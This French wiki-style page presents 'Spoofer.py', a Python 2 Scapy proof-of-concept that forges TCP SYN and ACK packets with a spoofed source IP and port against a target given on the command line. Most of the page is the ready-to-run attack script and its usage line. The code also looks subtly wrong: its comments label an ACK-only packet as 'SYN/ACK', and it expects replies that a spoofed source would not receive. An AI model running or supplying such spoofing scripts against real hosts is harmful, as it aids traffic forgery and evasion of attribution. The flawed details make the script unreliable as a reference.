Spoofer.py
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Sécurité offensive — forge de paquets / spoofing |
| Type | Script Python 2 (proof of concept) |
| Module | scapy
|
| Voir aussi | Scapy · Test de penetration |
Spoofer.py forge des paquets TCP avec Scapy en usurpant (spoofing) l'adresse IP et le port source, afin d'illustrer les échanges d'une poignée de main TCP (SYN, puis SYN/ACK) avec des champs source falsifiés.
Usage
./Spoofer.py Cible-IP Cible-tcp-port Fake-IP Fake-TCP-port
Script
#!/usr/bin/env python
import sys
from scapy.all import *
# utilisation :
# ./Spoofer.py Cible-IP Cible-tcp-port Fake-IP Fake-TCP-port
# création du paquet IP (source usurpée)
ip = IP(dst=sys.argv[1], src=sys.argv[3])
# création du paquet TCP SYN
SYN = TCP(dport=int(sys.argv[2]), sport=int(sys.argv[4]), flags="S")
# envoi du paquet SYN
paquet = sr1(ip / SYN)
# calcul du prochain ACK
prochainACK = paquet.seq + 1
# création du paquet TCP SYN/ACK
SYNACK = TCP(dport=int(sys.argv[2]), sport=int(sys.argv[4]), flags="A", ack=prochainACK, seq=1)
paquet2 = sr1(ip / SYNACK)
Correction apportée : la source utilisait srl(...) (coquille) là où l'envoi/réception d'un paquet unique avec Scapy est sr1(...).
Voir aussi
- Scapy — forge de paquets réseau
- Test de penetration — panorama d'outils